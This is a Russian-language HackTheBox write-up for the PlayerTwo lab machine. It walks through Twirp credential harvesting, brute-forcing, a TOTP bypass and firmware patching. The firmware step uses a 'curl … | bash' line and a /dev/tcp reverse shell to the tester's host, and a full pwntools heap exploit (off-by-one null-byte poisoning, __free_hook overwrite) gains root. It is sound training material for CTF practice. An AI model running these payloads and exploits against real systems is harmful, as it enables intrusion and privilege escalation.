HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака

в 14:52, , рубрики: Без рубрики
HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 1

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье работаем с API twirp, обходим двух факторную аутентификацию, модернизируем прошивку и эксплуатируем уязвимость в кучу через атаку null byte poisoning (P.S. про Heap еще можно предварительно почитать здесь).

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.170, который я добавляю в /etc/hosts.

10.10.10.170    playertwo.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.170 --rate=500

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 2

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A playertwo.htb -p22,80,8545

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 3

Таким образом, мы имеем SSH и Apache на стандартных портах, и видим сообщение twirp_invalid_route от службы, которая использует 8545 порт. Как обычно в таких случаях, заходим на веб.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 4

Получаем ошибку и контакт, к которому следует обратиться. Давайте добавим данное доменное имя в файл /etc/hosts и повторно зайдем на сайт.

10.10.10.170 player2.htb

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 5

И находим ссылку на еще один сайт, а также форму отправки сообщений ниже. Давайте добавим еще одно доменное имя в /etc/hosts и обратимся по данному адресу.

10.10.10.170 product.player2.htb

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 6

Попробовав различные базовые техники обхода аутентификации ничего не находим, давайте сканировать директории. Я делаю это с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u player2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 7

gobuster dir -t 128 -u product.player2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 8

Так conn.php ничего не вернет, скорее всего нужен какой-то параметр. Как правило в директории proto должны находится .proto файлы (можно узнать даже загуглив). Давайте поищем их.

gobuster dir -t 128 -u player2.htb/proto -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x proto

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 9

И находим один файл.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 10

Twirp

Таким образом, используется twirp, информацию о котором можно получить на github. В документации находим информацию о путях в twirp и о том, как запрашивать информацию.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 11

Как следует из файла конфигурации и документации, в нашем случае обращаться мы должны по следующему пути:

/twirp/twirp.player2.auth.Auth/GenCreds

Давайте используем curl, как сказано в документации.

curl --request "POST" --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{}' ; echo

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 12

При этом выполнив команду второй раз, получим другие учетные данные.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 13

Для эксперимента я выполнил запрос 10 раз и получил 4 разные пары учетных данных.

for ((i=0; i<10;i++)) do curl --request "POST" --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{}' ; echo ; done

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 14

Таким образом, мы получили учетный данные, при этом существует 4 разных логина и 4 разных пароля, которые в выводе представлены в непонятном перемешанном порядке. Вернемся к авторизации, у нас есть логины и пароли, придется их перебрать. Я буду использовать Burp. Перехватим запрос, отправим в Intruder и настроим соответствующим образом.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 15

Запускаем атаку, сортируем вывод по длине, и получаем валидные пары учетных данных.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 16

Но при попытке авторизоваться, у нас спрашивают OTP (одноразовый пароль)!

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 17

Обход 2FA

То есть нам необходимо обойти двух-факторную аутентификацию. В данном случае используется TOTP (Time-based One-time Password).

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 18

На данном этапе я застрял и вернулся посмотреть свой to-do лист, чтобы посмотреть, какие варианты я не проверил, и в графе сканирования директорий была не отмечена директория api. Сканирование ничего не дало. Немного погуглив, было найдено несколько примеров работы с /api/totp. Давайте попробуем.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 19

И находим ниточку, за которую можно уцепиться. Давайте выполним тот же запрос в curl.

curl http://product.player2.htb/api/totp --cookie "PHPSESSID=42u8a0kro2kgp4epl6fgj06boe" --header "Content-Type:application/json" ; echo

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 20

В ошибке сообщается, что не метод GET не поддерживается, давайте выполним запрос методом POST.

curl -X POST http://product.player2.htb/api/totp --cookie "PHPSESSID=42u8a0kro2kgp4epl6fgj06boe" --header "Content-Type:application/json" --data ; echo

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 21

И ошибка меняется. Теперь у нас не валидный action. Давайте отправим запрос с параметром action.

curl -X POST http://product.player2.htb/api/totp --cookie "PHPSESSID=42u8a0kro2kgp4epl6fgj06boe" --header "Content-Type:application/json" --data '{"action": 0}'; echo

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 22

И получаем код. И это есть OTP. Вводим его и заходим на сайт.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 23

Просматривая сайт, находим ссылку на документацию.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 24

Откроем и ознакомимся с ней.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 25

Речь идет о прошивке, причем есть ссылка на скачивание и проверку работоспособности.

Entry point

Разархивируем файл прошивки и первым делом посмотрим строки.

strings Protobs.bin

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 26

Находим строки с stty, и можно сделать предположение, что программы выполняет эту команду. Можно заменить эту строку на шелл. Давайте найдем местоположение этой строки в файле (-t) в десятичном виде (d).

strings -t d Protobs.bin | grep stty

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 27

Создадим файл с командой, которая выполнится на сервере, это будет бэкконнет шелл.

bash -i >& /dev/tcp/10.10.14.37/4321 0>&1

Сделаем так, чтобы при тесте прошивки сервер получал данную команду и передавал ее в bash.

printf "curl 10.10.14.37/rs | bashx00" > new_cmd

Теперь заменим команду из прошивки на новую команду.

dd if=new_cmd of=Protobs.bin obs=1 seek=8420 conv=notrunc

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 28

Снова проверим строки в файле.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 29

Отлично. Запустим локальный веб сервер, упакуем прошивку обратно и загрузим файл на сервер.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 30

И увидим подключение.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 31

USER

Загружаем на хост LinPEAS и проводим перечисление системы. Для себя отмечаем пользователей, которые есть в системе.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 32

Так же отмечаем для себя пользователя, которого необходимо получить.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 33

И из следующей информации отмечаем для себя службу mosquitto.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 34

MQTT — это простой и легкий протокол обмена сообщениями, разработанный для устройств с ограниченными возможностями и сетей с низкой пропускной способностью, высокой задержкой. Принципы проектирования заключаются в том, чтобы минимизировать пропускную способность сети и требования к ресурсам устройства, одновременно пытаясь обеспечить надежность и некоторую степень гарантии доставки сообщения.

Как следует отсюда, аутентификация является необязательной, и даже если аутентификация выполняется, шифрование по умолчанию не используется. То есть выполним MITM атаку, мы можем получить учетные данные в открытом виде. Так же приводится скрипт для подключения и пример работы.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 35

Но на хосте скорее всего не установлены необходимые модули python. Поэтому как работать с MQTT можно посмотреть здесь.

Совместив два источника запросим сообщения по теме “$SYS/#”

mosquitto_sub -h localhost -p 1883 -t '$SYS/#'

И немного подождав, увидим передаваемый SSH ключ.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 36

Сохраняем себе ключ и подключаемся с ним (мы же знаем пользователя).

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 37

ROOT

И в домашней директории пользователя находим документ.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 38

Скачиваем, изучаем. Упоминается приложение Protobs. Давайте поищем его в системе.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 39

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 40

Таким образом, для приложения выставлен suid бит, в это значит, что оно работает от имени root. Скачиваем на локальную машину приложение и библиотеки. Проверим имеющуюся защиту.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 41

Таким образом, все имеется, кроме PIE. При этом указан RUNPATH, поэтому создадим на локальной машине данную директорию и переместим в нее файлы. Откроем программу в дизассемблере с декомпилятором (я использую IDA Pro), декомпилируем и перейдем в функцию main.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 42

При запуске программы мы получим два сообщения, после чего будет выполнена функция и мы попадаем в бесконечный цикл. Данная фунция нужна для вывода баннера.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 43

Давайте посмотрим функцию в цикле.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 44

Таким образом мы получаем приглашение для ввода и в зависимости от нашего ввода будет выполнена одна из 6 функций. Отметим, что присутствует канарейка (переменная v2). Давайте посмотрим на все функции.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 45

Начинаем с первой и понимаем, что это функция help, которая выводит справку.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 46

Сразу отмечаем, что последняя служит для завершения команды.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 47

При выборе “1” попадаем в функцию, которая выводит конфигурации.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 48

А вот при 2, мы можем их создавать. С данным кодом придется поработать.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 49

В строках 13-15: функция sub_400C8B, на которую мы сразу же попадаем проверяет число конфигураций, и если свободного места для создания новой нет (всего можно создать 14), то функция sub_400C3E выводит ошибку.

В строках 16-18: происходит выделение памяти для новой конфигурации.

В строках 19-30 происходит заполнение полей, строковыми параметрами, которые переводятся в длинное целое числовое значение (кроме имени). Далее происходит заполнение Description. Если мы введем 3, то у нас запросят индекс конфигурации, и отобразят ее.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 50

И при 4 — удаляют указанную конфигурацию.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 51

Стоит обратить внимание на использование функций malloc и free для выделения и освобождения памяти в программе. Это наталкивает на мысль о UAF. Для начала создадим шаблон эксплоита. Мы будем подключаться по SSH и выполнять программу используя pwntools.

#!/usr/bin/python3
from pwn import *

context.log_level = 'error'
binary = ELF('./Protobs')
libc = ELF('./libc.so.6')
remoteShell = ssh(host = 'player2.htb', user='observer', keyfile='./player2.key')
remoteShell.set_working_directory(b'/opt/Configuration_Utility')
p = remoteShell.process(b'./Protobs')
context.log_level = 'info'
log.success("Start exploit")

p.interactive()

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 52

Отлично. Теперь давайте реализуем основные функции, которые создают (выделяют память), читают (обращаются к памяти) и и удаляет (освобождает память) конфигурации.

def alloc(size, desc, game=b'', contrast=b'0',gamma=b'0',resX=b'0',resY=b'0',controller=b'0'):
    p.sendlineafter(b"protobs@player2:~$ ", b"2")
    p.sendlineafter(b"]: ", game, timeout=1)
    p.sendlineafter(b"]: ", contrast, timeout=1)
    p.sendlineafter(b"]: ", gamma, timeout=1)
    p.sendlineafter(b"]: ", resX, timeout=1)
    p.sendlineafter(b"]: ", resY, timeout=1)
    p.sendlineafter(b"]: ", controller, timeout=1)
    p.sendlineafter(b"]: ", str(size).encode(), timeout=1)
    if size:
        p.sendlineafter(b"]: ", desc, timeout=1)

def free(index):
    p.sendlineafter(b"protobs@player2:~$ ", b"4")
    p.sendlineafter(b"]: ", str(index).encode(), timeout=1)

def show(index):
    p.sendlineafter(b"protobs@player2:~$ ", b"3")
p.sendlineafter(b"]: ", str(index).encode(), timeout=1)

Чтобы было возможно отладить программу, необходимо немного пропатчить бинарный файл, для использования нужной библиотеки.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 53

patchelf Protobs --set-interpreter /lib64/ld-linux-x86-64.so.2
patchelf Protobs --set-rpath /opt/Configuration_Utility/:/opt/Configuration_Utility/:libc.so.6

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 54

Теперь разберемся с UAF.

Память в куче

Сперва стоит разобраться как устроена память, как она выделяется и освобождается. Структура, реализованная в программе, имеет следующий вид (в комментариях указаны размер памяти для каждой переменной):

struct conf{
	char Game[20];				// size 20
	unsigned int Contrast;		// size 4
	unsigned int Gamma;			// size 4
	unsigned int X_Axis;			// size 4
	unsigned int Y_Axis;			// size 4
	unsigned int Controller;		// size 4
	unsigned int Size;			// size 4
	char *Description;			// size 8
}

Почему запрашивается для резервирования 56 байт, если в самой структуре используется 52? Все дело в выравнивании памяти (это я описывал тут). Но это еще не все, кроме того, что нам реально нужно 52 байта, а мы должны выделить 56, функция malloc зарезервирует 64 байта!

Так как выделение памяти будет происходить из неразделенного пространства кучи, то это будет сделано поблочно. Ниже приведены два блока памяти: выделенные и свободный.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 55

Таким образом, сначала размер блока, и флаг U — принимающий значение 1, если блок занят, и 0 — если свободен и доступен для выделения. Далее первые 8 байт свободного блока занимает указатель FP на адрес следующего такого же свободного блока, и вторые 8 байт заняты указателем на предыдущий подобный свободный блок. Вот отсюда и получается 56 + 8 = 64 байта для блока.

Вернемся к функции создания структуры. Если size не равен 0, то снова происходит резервирование памяти функцией malloc.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 56

Таким образом, вслед за нашей структурой, будет расположена переменная desc. И данное высказывание подтверждается на практике — посмотрим кучу при отладке (я использую IDA).

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 57

Структура загружена по адресу 0x12a72a0, переменная size по адресу 0x12a72c8, указатель на desc — 0x12a72d0 и сама переменная desc по адресу 0x12a72e0.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 58

Чтобы было удобнее работать, выделим данную структуру и выбираем “Create struct from selection”.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 59

И теперь данные в куче выглядят куда приятнее.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 60

Куда интереснее работает освобождение памяти. Сначала удаляется desc, а потом сама структура.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 61

Дело в том, что при освобождении памяти функция free() запишет вместо данных, расположенных по данному адресу, адрес следующего доступного чанка памяти и предыдущего. Проверим на примере.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 62

Удаление desc: так как рядом нет доступного чанка, то вместо строки desc (по адресу 0x12a72e0) записаны 0 и 0x12a7010. Удаление экземпляра структуры: по адресу структуры (0x12a72a0) записаны адрес доступного чанка 0x12a72e0 (который только что освободила строка desc) и 0x12a7010.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 63

Стоит отметить, что при повторном выделении памяти, будет выделен недавно освободившийся чанк, если он удовлетворяет размеру резервируемой памяти. Разберем почему так.

Здесь уже упоминалось про чанки, но стоит добавить, что их бывает три вида: fast, small и large (разница в объеме памяти). При освобождении, данные чанки будут вставлены в список. Но для чанков разного размера предназначены разные списки, которые могут быть как двусвязными так и линейными. Различают fast, small, large и unsorted списки. Указатели HEAD и TAIL для данных списков хранятся в структуре данных main_arena в libc. При этом есть отличие между fast (mfastbinptr) и остальными списками (small, large и unsorted — mchunkptr).

typedef struct malloc_chunk *mfastbinptr;
mfastbinptr fastbinsY[];

typedef struct malloc_chunk* mchunkptr;
mchunkptr bins[];

Таким образом, libc отслеживает данные указатели, путем размещения их в определенном массиве, в зависимости от размера. Но так как каждая запись в массиве представляет собой список, то первая запись в массиве будет указывать на свободный блок размером 16 байт, вторая — 24 и т.д. Ниже представлены этапы выделения и освобождения памяти для bins и fastbins.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 64

При выделении памяти, мы будем получать чанк с конца списка.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 65

Но для fastbins немного по-другому. Там отсутствуют указатели BK, и списки являются односвязными.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 66

И при выделении памяти мы получим чанк из голову списка.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 67

Heap leak

Первым делом найдем утечку кучи. Это очень легко сделать, если визуализировать кучу. Учитывая все, что было сказано про чанки выше, давайте создадим три экземпляра структуры Conf, тогда при запросе размера desc, укажем такой же, как и у Conf — 48 (+8 для выранивания и +8 для заголовка чанка, итого 64). После создания, очистим память в порядке исходном порядке(порядок заполнения будет обратен порядку очищения памяти, поэтому я пометил очередь освобождения памяти). На рисунке приведено состояние кучи после создания (слева) и после удаления (справа) трех конфигураций.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 68

Теперь, если создать новую конфигурацию, то она займет место последней-удаленной(2) конфигурации. Но исходя из кода, если мы укажем size равным 0, то заполнения desc не произойдет, при этом у нас останется 5 свободных чанков, а desс созданной конфигурации будет содержать адрес Conf1. Таким образом, если мы отобразим созданную конфигурацию, мы отобразим адрес Conf1.

for _ in range(3):
    alloc(0x30, b'A' * 0x20)
for i in range(3):
    free(i)
alloc(0, b''), show(0)
p.recvuntil('[ Description         ]: ')
leak_heap = u64(p.recvline().strip().ljust(8, b'x00'))
log.success(f"Heap leak address: {hex(leak_heap)}")

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 69

Теперь нужно получить базовый адрес libc.

LIBC leak

Но в случае удаления единственного (причем первого) чанка в списке, его указатели на следующие и предыдущий чанки будут указывать на адрес в libc (как следует из программ выше).

Давайте выделим большой объем памяти (в переменной desc, чтобы мы смогли к нему обратиться), тогда после очистки такого чанка, его FD и BK будет хранить не адрес прошлого освобожденного чанка, а, адрес в libc. Повторяя прошлый трюк c освобождением и записью “нулевой” конфигурации, найдем утечку libc. Выделим 0x500 и 0x200 байт под запись в конфигурациях, а затем удалим их в обратном порядке.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 70

После удаления Conf2 произойдет такое распределение: так как desc2 большего размера, но и список того же массива списков, то free запишет не адрес предыдущего освобожденного чанка (desc1 (3)), а 0. В сам Conf2 будет записан адрес предыдущего освобожденного чанка desc1 (3).

После удаления Conf1, по причине указанной выше, в desc1 будет находится адрес из libc. А место освобожденного Conf1 займет адрес предыдущего освобожденного чанка.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 71

Создадим новую “нулевую” конфигурацию, которая будет создана на месте (5) и прочитаем ее, чтобы получить адрес из libc. Данный адрес соответствует смещению 0x70 от __malloc_hook (можно посмотреть в отладчике). Поэтому для нахождения базы libc, из найденного адреса необходимо извлечь (*__malloc_hook + 0x70).

alloc(0x500, b'A' * 0x20), alloc(0x200, b'A' * 0x20)
free(2), free(1)
alloc(0, b''), show(1)
p.recvuntil('[ Description         ]: ')
leak_libc = u64(p.recvline().strip().ljust(8, b'x00'))
libc.address = leak_libc - (libc.symbols['__malloc_hook'] + 0x70)
log.success(f"LIBC base address: {hex(libc.address)}")

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 72

Похоже на правду.

Off-By-One

У нас много выделенной и освобожденной памяти, причем неравномерно. Давайте займем ее всю: чанки Conf мы займем структурами, а чанки desc — записями соответствующего размера, причем в чанке 0x500 поместится 2 таких записи. Таким образом создадим 4 структуры с размером записи 0x200. Есть не распределенные 0xf байт, в ранее выделенных 0x500 байт. Займем их нулевыми структурами. И после максимального резервирования всей памяти, очистим ее.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 73

for _ in range(4):
    alloc(0x200, b'A' * 0x20)
for _ in range(3):
    alloc(0, b'')
for i in range(2,9):
    free(i) 
log.info("Memory cleared")

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 74

Переходим к следующему этапу: разберем технику Null Byte Poisoning. Если в куче есть свободный чанк, и следующий чанк сразу после него также свободен, то эти два свободных блока могут быть объединены в больший свободный блок. Мы разобрали, как различаются выделенный и свободный чанк памяти, — так вот данный метод заключается в том, чтобы перезаписать соответствующий флаг занятого чанка, что позволит объединить его с предыдущим свободным чанком!

Для начала определимся с адресом, который мы собираемся контролировать в будущем. В данный момент, последний подконтрольный чанк (1, 4) расположен по адресу 0x18a0 (ориентируемся по своему представлению кучи) и занимает 0x200 байт, то есть следующий чанк будет расположен по адресу 0x1ab0. Вычислим нужный нам адрес из расчета 0x1ab0 + память, выделенная для чанка, который будет относиться к списку ранее не используемого bin’a (к примеру 0x50) + 0x70 + 0x10. Откуда берется 0x70 станет понятнее далее, а 0x10 — как смещения от адреса чанка (как можно заметить в отладчике адрес кучи указан со смещением 0x10 — указатель FD). Таким образом получим адрес 0x1b90. Но мы не знаем конкретного адреса в работающей программе, но зато можно рассчитать его как относительный, так как мы знаем адрес утечки кучи (для нашей модели — это 0x1140). Так мы будем работать с адресом leak_heap+0xa50.

Для выполнения рассматриваемой атаки, нам нужно подделать все атрибуты реальных чанков, то есть самостоятельно разметить память. Адрес, который мы только что рассчитали — это есть указатели FD и BK!

Теперь нужно определиться с размером нового фиктивного чанка. Мы оперировали двумя размера чанков больших чанков: 0x200 и 0x500, тогда тогда исключая prev_size получим 0x1f8 (0x200-0x8) и 0x4f8 (0x500-0x8), при этом, мы собираемся “играть” с меньшим блоком, поэтому извлечем еще 0x70 (уже встречалось): 0x1f8 — 0x70 = 0x198. Таким образом, размер фиктивного чанка 0x198 + 0x35 = 0x1d0. Ниже привожу модель.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 75

Выполнить запись по адресу 0x1ae8 легко, а вот записать данный ранее немного сложнее, так как байт x00 будет восприниматься как символ окончания строки, но мы можем это использовать. Так если мы очистим память и создадим такой же экземпляр структуры, с таким же размером записи, но запишем 0x37 символов “А”, то на месте 0x38 будет выставлен 0, как символ окончания строки.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 76

Если мы снова воспроизведем те же действия, но запишем 0x36 символов, то 0 будет выставлен на 0x37 месте.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 77

Давайте подобным образом освободим 8 байт для адреса и повторим запись.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 78

И также поступим для записи размера фиктивного чанка.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 79

Ниже привожу реализацию данных действий.

alloc(0x50, b'A'*0x38 + p64(leak_heap+0xa50)), free(2)
for i in range(1, 9):
    alloc(0x50, b'A'*(0x38-i))
    free(2)
alloc(0x50, b'A'*0x30 + p64(leak_heap+0xa50)), free(2)
for i in range(1, 9):
    alloc(0x50, b'A'*(0x30-i))
    free(2)
alloc(0x50, b'A'*0x28 + p64(0x1d0))
log.info("Dummy chunk created")

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 80

Таким образом, для нам нужно еще 0x198 байт для полного фиктивного чанка. Создадим три структуры, а потом выполним атаку Off-By-One. У нас есть чанк, размером 0x198 байт, и если длина записи будет больше, то копирование не произойдет. Но на самом деле, функция strlen() при подсчете длины строки не учитывает символ x00, а функция strcpy() произведет копирование вместе с null-байтом. Таким образом, очистив 0x198 байт и записав 0x198 байт, на самом деле мы запишем еще и 0x199-й символ x00, изменив служебный байт следующего чанка, отвечающий за распознавание блока, как занятого.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 81

0 перезапишет 1, то есть фактически “освободит” следующий чанк (пометит как свободный).

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 82

Но есть еще кое-что. Давайте взглянем на код unlink().

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr ("corrupted size vs. prev_size");			      
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr ("corrupted double-linked list");

После фиктивного освобождения памяти, поле, предшествующее размеру следующего чанка должно содержать размер предыдущего чанка, если он свободен. Но в нашем фиктивном чанке этого не проиходит, в этом случае unlink обнаружит повреждение памяти и завершит работу процесса. Таким образом, нам нужно произвести запись выделенного размера в конец 3 записи. После чего удалить очистить 3 и 4 структуры, что образует новый поддельный чанк!

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 83

Ниже представлена реализация.

alloc(0x198, b'A' * 0x20), alloc(0x4f0, b'A' * 0x20), alloc(0x210, b'A' * 0x20)
free(3), alloc(0x198, b'A' * 0x198), free(3)
for i in range(1, 9):
    alloc(0x198, b'A'*(0x198 -i))
    free(3)
alloc(0x198, b'A'*0x190 + p64(0x1d0))
free(3), free(4)
log.success("Off-By-One attack complited")

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 84

Ошибок не произошло, идем далее.

Heap exploatation

Так у нас осталось 0x30 не размеченных байт после структуры Conf2. Давайте займем их, создав запись размером 0x20 байт. Теперь при выделении памяти, будут заполнять чанки в фиктивном блоке, размером 0x1d0. Давайте выделим три блока по 0x60 байт.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 85

И очистим последние 3 созданные блока.

alloc(0x20, b'A'*0x10), alloc(0x20, b'A'*0x10)
for _ in range(3):
    alloc(0x60,  b'A'*0x30)
for i in range(6,9):
    free(i)
log.info("Realloc memory")

Но выделив 0x198 мы все равно сможем обратиться к чанку по адресу 0x1b10, так как указатель на него будет в соответствующем списке, давайте запишем в бывший чанк desc8 адрес __free_hook. Для этого его следует записать по смещению 0x60+0x10+0x60+0x10.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 86

Но чанк desc8 будет фигурировать еще и вписке с чанками, размером 0x60, для этого извлечем данный чанк из этого списка, создав пустую запись. И затем создадим запись, содержащую адрес функции system.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 87

И теперь создадим нулевую конфигурацию, содержащую в качестве строки game, строку-параметр функции system — /bin/sh. И при удалении данной конфигурации произойдет передача управления на адрес функции system с параметром /bin/sh!

alloc(0x198, b'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook']))
alloc(0x60, '')
alloc(0x60, p64(libc.symbols['system']))
alloc(0, '', game=b'/bin/shx00')
free(9)
p.recv(), p.sendline('id')

Полный код привожу ниже.

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 88

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 89

HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака - 90

И у нас есть root.

